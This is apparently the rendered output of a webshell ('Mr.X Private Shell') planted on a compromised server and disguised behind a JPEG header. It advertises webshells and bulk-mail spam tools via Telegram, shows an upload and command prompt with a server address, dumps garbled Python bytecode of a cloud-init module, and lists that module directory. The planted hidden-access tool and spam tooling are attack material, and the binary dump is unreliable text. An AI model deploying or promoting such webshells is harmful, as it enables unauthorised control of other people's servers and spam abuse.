����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
a

'�Dg�6�@sLUdZddlZddlZddlZddlmZmZddlmZddl	m
Z
mZmZddl
mZddlmZddlmZdd	lmZed
dg�Zdd
gedgee�d�Zeed<e�e�ZdZdZdZe d�dd�Z!e d�dd�Z"d+ed�dd�Z#d,dd�Z$ed�dd �Z%e e&d!�d"d#�Z'e d�d$d%�Z(e d�d&d'�Z)e*eeedd(�d)d*�Z+dS)-z1ubuntu_pro: Configure Ubuntu Pro support services�N)�Any�List)�urlparse)�performance�subp�util)�Cloud)�Config)�
MetaSchema)�PER_INSTANCEzubuntu-advantageZubuntu_advantageZ
cc_ubuntu_proZubuntu�
ubuntu_pro)�idZdistrosZ	frequencyZactivate_by_schema_keys�meta�REDACTEDzUUnable to determine if this is an Ubuntu Pro instance. Fallback to normal Pro attach.)Z
http_proxyZhttps_proxyZglobal_apt_http_proxyZglobal_apt_https_proxyZua_apt_http_proxyZua_apt_https_proxy)�pro_sectioncCs�d|vrdS|d}t|t�s@dt|�j��}t�|�t|��d|vrLdS|d}t|t�s�dt|�j��}t�|�t|��dS)N�featuresz.'ubuntu_pro.features' should be a dict, not a �disable_auto_attachzB'ubuntu_pro.features.disable_auto_attach' should be a bool, not a )�
isinstance�dict�type�__name__�LOG�error�RuntimeError�bool)rr�msgr�r�B/usr/lib/python3.9/site-packages/cloudinit/config/cc_ubuntu_pro.py�validate_schema_features*s(
��

��
r)�
pro_configc
Cs�g}t|���D]x\}}|tvr0t�d|�qn
|dur:qz&t|�}|jdvr^|�d|���Wqtt	fy�|�d|���Yq0q|r�t	d�
d�|����dS)a�Validate user-provided ua:config option values.

    This function supplements flexible jsonschema validation with specific
    value checks to aid in triage of invalid user-provided configuration.

    Note: It does not log/raise config values as they could be urls containing
    sensitive auth info.

    @param pro_config: Dictionary of config value under 'ubuntu_pro'.

    @raises: ValueError describing invalid values provided.
    z4Not validating unknown ubuntu_pro.config.%s propertyN)�http�httpsz-Expected URL scheme http/https for ua:config:zExpected a URL for ua:config:z$Invalid ubuntu_pro configuration:
{}�
)�sorted�items�KNOWN_PRO_CONFIG_PROPSr�warningr�scheme�append�AttributeError�
ValueError�format�join)r�errors�key�valueZ
parsed_urlrrr�supplemental_schema_validationEs,
�
��r0cCs�|durdSt|t�s,tdt|�j�d���t|�g}t|���D�]\}}d}i}|durxt�	d|�ddd|g}nh|�d�}t�	d|�t
�d	|�r�|�d
t
�|���}n|�d
|��}ddd|g}d|dd
�|gi}zt
j
|fi|��WqDt
j�yJ}z8t|�}	|du�r(|	�|t�}	|�||	f�WYd}~qDd}~00qD|�r�|D]\}
}t�d|
|��qXtd�d�dd�|D�����dS)Nz+ubuntu_pro: config should be a dict, not a z%; skipping enabling config parameterszDisabling Pro config for %s�pro�configZunsetz	=REDACTEDzEnabling Pro config %sz\s�=�set�	logstring���z#Failure enabling/disabling "%s":
%sz3Failure enabling/disabling Ubuntu Pro config(s): {}�, css|]\}}d�|�VqdS)z"{}"N)r+)�.0�param�_rrr�	<genexpr>��z!set_pro_config.<locals>.<genexpr>)rrrrrr0r#r$r�debug�re�search�escaper�ProcessExecutionError�str�replacerr(r&r+r,)r�
enable_errorsr.r/Zredacted_key_valueZsubp_kwargsZ
config_cmd�	key_value�e�err_msgr9rrrr�set_pro_configlsL
��

&��rHc
Csz|durg}n<t|t�r*t�d�|g}n t|t�sJt�dt|�j�g}|r\ddd|g}n
dd|g}|dd�tg}t�dd	�	|��zt
j
|d
dh|d�WnVt
jy�}z<t|��|t�}d
|��}t
�t|�t|�|�WYd}~n
d}~00|�sdSgd�|}zt
j
|dd
dhd�\}}	Wn<t
j�yh}z tdd�	|��|�WYd}~n
d}~00zt�|�}
Wn8tj�y�}ztd|���|�WYd}~n
d}~00g}|
�dg�D]2}|ddk�r�t�d|d��q�|�|��q�|�rvg}|D]^}|�d�}
|
du�r<|�|
�d|
�d|d��}nd|d�d|d��}t
�t|��qtdd�	|���dS) z=Call ua command line client to attach and/or enable services.NzNubuntu_pro: enable should be a list, not a string; treating as a single enablezIubuntu_pro: enable should be a list, not a %s; skipping enabling servicesr1Zattachz--no-auto-enabler6zAttaching to Ubuntu Pro. %s� r�)�rcsr5zFailure attaching Ubuntu Pro:
)r1�enablez--assume-yesz--format�jsonT�)ZcapturerKz!Error while enabling service(s): r7zPro response was not json: r-Zmessage_codezservice-already-enabledzService `%s` already enabled.�servicezFailure enabling `z`: �messagezFailure of type `rz(Failure enabling Ubuntu Pro service(s): )rrBrr&�listrrrr=r,rrArCr�logexcrrM�loadsZJSONDecodeError�getr()�tokenrLZ
attach_cmdZredacted_cmdrF�errr�cmdZ
enable_stdoutr:Zenable_resprDZerror_servicesrOrrr�
configure_pro�s�
�
�

 ����


��rX��cloudcCsvt�d�rdSz|j��Wn ty<t�td��Yn0z|j�dg�Wn typt�td��Yn0dS)z.Install ubuntu-advantage-tools if not present.r1NzPackage update failedzubuntu-advantage-toolsz(Failed to install ubuntu-advantage-tools)	r�whichZdistroZupdate_package_sources�	ExceptionrrRrZinstall_packagesrYrrr�maybe_install_ua_tools�s
r])r�returnc
Cs�t|�di��dd��}|r dSddlm}ddlm}z8tjddd	��|�}Wd�n1sd0YWn<|y�}z$t�	d
|�t�
t�WYd}~dSd}~00|jS)NrrFr)�UserFacingError)�should_auto_attachz6Checking if the instance can be attached to Ubuntu Pro�always�Zlog_modez%Error during `should_auto_attach`: %s)rrT�uaclient.api.exceptionsr_Z4uaclient.api.u.pro.attach.auto.should_auto_attach.v1r`r�Timedrr=r&�ERROR_MSG_SHOULD_AUTO_ATTACH)rrr_r`�result�exrrr�_should_auto_attachs$��(
rhcCsZ|�d�}|s$d}t�|�t|��|�d�}|rDt�dd�|��t||�d�d�dS)NrUz8`ubuntu_pro.token` required in non-Pro Ubuntu instances.�enable_betaz<Ignoring `ubuntu_pro.enable_beta` services in Pro attach: %sr7rL)rUrL)rTrrrr=r,rX)rrUrrirrr�_attach(s


�rjc

Cs�ddlm}m}ddlm}m}|�d�}|�d�}|||d�}z<tjddd	��||d
�Wd�n1sp0YWnn|y�|dus�|dur�t	�
d�YnD|y�}z,d|j��}	t	�|	�t
|	�|�WYd}~n
d}~00dS)
Nr)�AlreadyAttachedErrorr_)�FullAutoAttachOptions�full_auto_attachrLri)rLrizAttaching to Ubuntu Prorarb)�optionsz�The instance is already attached to Pro. Leaving enabled services untouched. Ignoring config directives ubuntu_pro: enable and enable_betaz!Error during `full_auto_attach`: )rcrkr_Z2uaclient.api.u.pro.attach.auto.full_auto_attach.v1rlrmrTrrdrr&rrr)
rrkr_rlrmrLrirnrgrrrr�_auto_attach7s(

�,�
ro)�name�cfgrZ�argsr^cCs0d}tt�|��}|rRt|�dkr4tdd�|���t�dd�|��||d}d|vrv|rnt�d|d�|d}|dur�t�d|�dSt	|t
�s�d	t|�j��}t�
|�t|��d
|vr�d}t�
|�t|��t|�t|�d��t|�t�d
�t|��rt|�n|��dhk�s,t|�dS)NrNzLUnable to configure Ubuntu Pro. Multiple deprecated config keys provided: %sr7z^Deprecated configuration key(s) provided: %s. Expected "ubuntu_pro"; will attempt to continue.rrz;Ignoring deprecated key %s and preferring ubuntu_pro configz=Skipping module named %s, no 'ubuntu_pro' configuration foundz%'ubuntu_pro' should be a dict, not a ZcommandszPDeprecated configuration "ubuntu-advantage: commands" provided. Expected "token"r2zETo discover more log info, please check /var/log/ubuntu-advantage.logr)rQ�DEPRECATED_KEYS�intersection�lenrr,rr&r=rrrrrr]rHrTrrhro�keysrj)rprqrZrrrZ
deprecatedrrrr�handleYsb�����
��
�
�

rw)N)N),�__doc__rMZloggingr>�typingrr�urllib.parserZ	cloudinitrrrZcloudinit.cloudrZcloudinit.configr	Zcloudinit.config.schemar
Zcloudinit.settingsrr4rsrQr�__annotations__Z	getLoggerrrrrer%rrr0rHrXr]rrhrjrorBrwrrrr�<module>s<�
�
',
d"

Filemanager

Name Type Size Permission Actions
__init__.cpython-39.opt-1.pyc File 193 B 0644
__init__.cpython-39.pyc File 193 B 0644
cc_ansible.cpython-39.opt-1.pyc File 7.83 KB 0644
cc_ansible.cpython-39.pyc File 7.83 KB 0644
cc_apk_configure.cpython-39.opt-1.pyc File 3.34 KB 0644
cc_apk_configure.cpython-39.pyc File 3.34 KB 0644
cc_apt_configure.cpython-39.opt-1.pyc File 26.31 KB 0644
cc_apt_configure.cpython-39.pyc File 26.31 KB 0644
cc_apt_pipelining.cpython-39.opt-1.pyc File 1.73 KB 0644
cc_apt_pipelining.cpython-39.pyc File 1.73 KB 0644
cc_bootcmd.cpython-39.opt-1.pyc File 1.5 KB 0644
cc_bootcmd.cpython-39.pyc File 1.5 KB 0644
cc_byobu.cpython-39.opt-1.pyc File 2.21 KB 0644
cc_byobu.cpython-39.pyc File 2.21 KB 0644
cc_ca_certs.cpython-39.opt-1.pyc File 6.26 KB 0644
cc_ca_certs.cpython-39.pyc File 6.26 KB 0644
cc_chef.cpython-39.opt-1.pyc File 7.75 KB 0644
cc_chef.cpython-39.pyc File 7.75 KB 0644
cc_disable_ec2_metadata.cpython-39.opt-1.pyc File 1.41 KB 0644
cc_disable_ec2_metadata.cpython-39.pyc File 1.41 KB 0644
cc_disk_setup.cpython-39.opt-1.pyc File 20.6 KB 0644
cc_disk_setup.cpython-39.pyc File 20.6 KB 0644
cc_fan.cpython-39.opt-1.pyc File 1.83 KB 0644
cc_fan.cpython-39.pyc File 1.83 KB 0644
cc_final_message.cpython-39.opt-1.pyc File 2.31 KB 0644
cc_final_message.cpython-39.pyc File 2.31 KB 0644
cc_growpart.cpython-39.opt-1.pyc File 14.18 KB 0644
cc_growpart.cpython-39.pyc File 14.18 KB 0644
cc_grub_dpkg.cpython-39.opt-1.pyc File 3.85 KB 0644
cc_grub_dpkg.cpython-39.pyc File 3.85 KB 0644
cc_install_hotplug.cpython-39.opt-1.pyc File 2.64 KB 0644
cc_install_hotplug.cpython-39.pyc File 2.64 KB 0644
cc_keyboard.cpython-39.opt-1.pyc File 1.29 KB 0644
cc_keyboard.cpython-39.pyc File 1.29 KB 0644
cc_keys_to_console.cpython-39.opt-1.pyc File 1.91 KB 0644
cc_keys_to_console.cpython-39.pyc File 1.91 KB 0644
cc_landscape.cpython-39.opt-1.pyc File 2.65 KB 0644
cc_landscape.cpython-39.pyc File 2.65 KB 0644
cc_locale.cpython-39.opt-1.pyc File 1.11 KB 0644
cc_locale.cpython-39.pyc File 1.11 KB 0644
cc_lxd.cpython-39.opt-1.pyc File 8.9 KB 0644
cc_lxd.cpython-39.pyc File 8.9 KB 0644
cc_mcollective.cpython-39.opt-1.pyc File 2.4 KB 0644
cc_mcollective.cpython-39.pyc File 2.4 KB 0644
cc_mounts.cpython-39.opt-1.pyc File 14.09 KB 0644
cc_mounts.cpython-39.pyc File 14.09 KB 0644
cc_ntp.cpython-39.opt-1.pyc File 11.17 KB 0644
cc_ntp.cpython-39.pyc File 11.17 KB 0644
cc_package_update_upgrade_install.cpython-39.opt-1.pyc File 3.09 KB 0644
cc_package_update_upgrade_install.cpython-39.pyc File 3.09 KB 0644
cc_phone_home.cpython-39.opt-1.pyc File 2.56 KB 0644
cc_phone_home.cpython-39.pyc File 2.56 KB 0644
cc_power_state_change.cpython-39.opt-1.pyc File 4.99 KB 0644
cc_power_state_change.cpython-39.pyc File 4.99 KB 0644
cc_puppet.cpython-39.opt-1.pyc File 6.38 KB 0644
cc_puppet.cpython-39.pyc File 6.38 KB 0644
cc_reset_rmc.cpython-39.opt-1.pyc File 3.6 KB 0644
cc_reset_rmc.cpython-39.pyc File 3.6 KB 0644
cc_resizefs.cpython-39.opt-1.pyc File 6.93 KB 0644
cc_resizefs.cpython-39.pyc File 6.93 KB 0644
cc_resolv_conf.cpython-39.opt-1.pyc File 2.54 KB 0644
cc_resolv_conf.cpython-39.pyc File 2.54 KB 0644
cc_rh_subscription.cpython-39.opt-1.pyc File 10.5 KB 0644
cc_rh_subscription.cpython-39.pyc File 10.5 KB 0644
cc_rsyslog.cpython-39.opt-1.pyc File 8.71 KB 0644
cc_rsyslog.cpython-39.pyc File 8.71 KB 0644
cc_runcmd.cpython-39.opt-1.pyc File 1.28 KB 0644
cc_runcmd.cpython-39.pyc File 1.28 KB 0644
cc_salt_minion.cpython-39.opt-1.pyc File 2.63 KB 0644
cc_salt_minion.cpython-39.pyc File 2.63 KB 0644
cc_scripts_per_boot.cpython-39.opt-1.pyc File 1.13 KB 0644
cc_scripts_per_boot.cpython-39.pyc File 1.13 KB 0644
cc_scripts_per_instance.cpython-39.opt-1.pyc File 1.14 KB 0644
cc_scripts_per_instance.cpython-39.pyc File 1.14 KB 0644
cc_scripts_per_once.cpython-39.opt-1.pyc File 1.12 KB 0644
cc_scripts_per_once.cpython-39.pyc File 1.12 KB 0644
cc_scripts_user.cpython-39.opt-1.pyc File 1.1 KB 0644
cc_scripts_user.cpython-39.pyc File 1.1 KB 0644
cc_scripts_vendor.cpython-39.opt-1.pyc File 1.22 KB 0644
cc_scripts_vendor.cpython-39.pyc File 1.22 KB 0644
cc_seed_random.cpython-39.opt-1.pyc File 2.45 KB 0644
cc_seed_random.cpython-39.pyc File 2.45 KB 0644
cc_set_hostname.cpython-39.opt-1.pyc File 2.45 KB 0644
cc_set_hostname.cpython-39.pyc File 2.45 KB 0644
cc_set_passwords.cpython-39.opt-1.pyc File 6.62 KB 0644
cc_set_passwords.cpython-39.pyc File 6.62 KB 0644
cc_snap.cpython-39.opt-1.pyc File 3.27 KB 0644
cc_snap.cpython-39.pyc File 3.27 KB 0644
cc_spacewalk.cpython-39.opt-1.pyc File 2.24 KB 0644
cc_spacewalk.cpython-39.pyc File 2.24 KB 0644
cc_ssh.cpython-39.opt-1.pyc File 7.08 KB 0644
cc_ssh.cpython-39.pyc File 7.08 KB 0644
cc_ssh_authkey_fingerprints.cpython-39.opt-1.pyc File 3.26 KB 0644
cc_ssh_authkey_fingerprints.cpython-39.pyc File 3.26 KB 0644
cc_ssh_import_id.cpython-39.opt-1.pyc File 3.34 KB 0644
cc_ssh_import_id.cpython-39.pyc File 3.34 KB 0644
cc_timezone.cpython-39.opt-1.pyc File 1.06 KB 0644
cc_timezone.cpython-39.pyc File 1.06 KB 0644
cc_ubuntu_autoinstall.cpython-39.opt-1.pyc File 2.56 KB 0644
cc_ubuntu_autoinstall.cpython-39.pyc File 2.56 KB 0644
cc_ubuntu_drivers.cpython-39.opt-1.pyc File 3.38 KB 0644
cc_ubuntu_drivers.cpython-39.pyc File 3.38 KB 0644
cc_ubuntu_pro.cpython-39.opt-1.pyc File 9.38 KB 0644
cc_ubuntu_pro.cpython-39.pyc File 9.38 KB 0644
cc_update_etc_hosts.cpython-39.opt-1.pyc File 1.85 KB 0644
cc_update_etc_hosts.cpython-39.pyc File 1.85 KB 0644
cc_update_hostname.cpython-39.opt-1.pyc File 1.62 KB 0644
cc_update_hostname.cpython-39.pyc File 1.62 KB 0644
cc_users_groups.cpython-39.opt-1.pyc File 2.23 KB 0644
cc_users_groups.cpython-39.pyc File 2.23 KB 0644
cc_wireguard.cpython-39.opt-1.pyc File 6.03 KB 0644
cc_wireguard.cpython-39.pyc File 6.03 KB 0644
cc_write_files.cpython-39.opt-1.pyc File 3.97 KB 0644
cc_write_files.cpython-39.pyc File 3.97 KB 0644
cc_write_files_deferred.cpython-39.opt-1.pyc File 1.43 KB 0644
cc_write_files_deferred.cpython-39.pyc File 1.43 KB 0644
cc_yum_add_repo.cpython-39.opt-1.pyc File 3.49 KB 0644
cc_yum_add_repo.cpython-39.pyc File 3.49 KB 0644
cc_zypper_add_repo.cpython-39.opt-1.pyc File 4.11 KB 0644
cc_zypper_add_repo.cpython-39.pyc File 4.11 KB 0644
modules.cpython-39.opt-1.pyc File 8.13 KB 0644
modules.cpython-39.pyc File 8.13 KB 0644
schema.cpython-39.opt-1.pyc File 36.97 KB 0644
schema.cpython-39.pyc File 36.97 KB 0644